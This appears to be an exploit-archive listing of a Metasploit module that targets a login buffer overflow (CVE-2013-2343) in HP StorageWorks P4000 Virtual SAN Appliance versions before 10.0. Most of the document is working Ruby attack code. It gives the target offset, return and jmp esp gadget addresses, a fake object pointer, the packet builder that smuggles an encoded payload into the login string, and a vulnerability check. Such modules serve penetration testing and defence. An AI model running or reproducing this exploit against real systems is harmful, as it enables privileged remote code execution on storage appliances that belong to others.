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HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow

HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow
Posted Aug 12, 2013
Authored by juan vazquez, e6af8de8b1d4b2b6d5ba2610cbf9cd38 | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability found in HP's StorageWorks P4000 VSA on versions prior to 10.0. The vulnerability is due to an insecure usage of the sscanf() function when parsing login requests. This Metasploit module has been tested successfully on the HP VSA 9 Virtual Appliance.

tags | exploit, overflow
advisories | CVE-2013-2343, OSVDB-94701
SHA-256 | c810c80e4fc09b6a9392a10756eb6cd6120f71ac14b60f6318728483ac84327b

HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability found in HP's StorageWorks
P4000 VSA on versions prior to 10.0. The vulnerability is due to an insecure usage
of the sscanf() function when parsing login requests. This module has been tested
successfully on the HP VSA 9 Virtual Appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2013-2343'],
['OSVDB', '94701'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-179/'],
['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03661318']
],
'Payload' =>
{
'BadChars' => "\x2f\x00\x0d\x0a",
'Space' => 780,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['linux'],
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'HP VSA 9',
{
'Version' => '9.0.0',
'Offset' => 3446,
'Ret' => 0x0804EB34, # pop ebp # ret # from hydra
'FakeObject' => 0x08072E58, # from hydra data
'JmpEsp' => 0x08050CB8 # push esp # ret # from hydra
}
]
],
'Privileged' => true,
'DisclosureDate' => "Jun 28 2013",
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [true, 'The remote port', 13838])
], self.class)
end

def check
connect
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"")
print_status("#{rhost}:#{rport} Sending login packet to check...")
sock.put(packet)
res = sock.get_once
disconnect

if res and res=~ /OK/ and res =~ /Login/
return Exploit::CheckCode::Vulnerable
elsif res and res =~ /FAILED/ and res =~ /version/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def generate_packet(data)
pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
pkt << [data.length + 1].pack("N*")
pkt << "\x00\x00\x00\x00"
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
pkt << data
pkt << "\x00"

pkt
end

def exploit
connect
print_status("#{rhost}:#{rport} Sending login packet")
my_bof = rand_text(target['Offset'])
my_bof << [target.ret].pack("V")
my_bof << [target['FakeObject']].pack("V") # Pointer to Fake Object in order to survive LHNSessionManager::SendMessage before ret
my_bof << [target['JmpEsp']].pack("V")
my_bof << payload.encoded

packet = generate_packet("login:/#global$agent/#{my_bof}/#{rand_text_alpha(5)}/Version \"1\" ") # Fake version in order to ret asap
sock.put(packet)
disconnect
end

end

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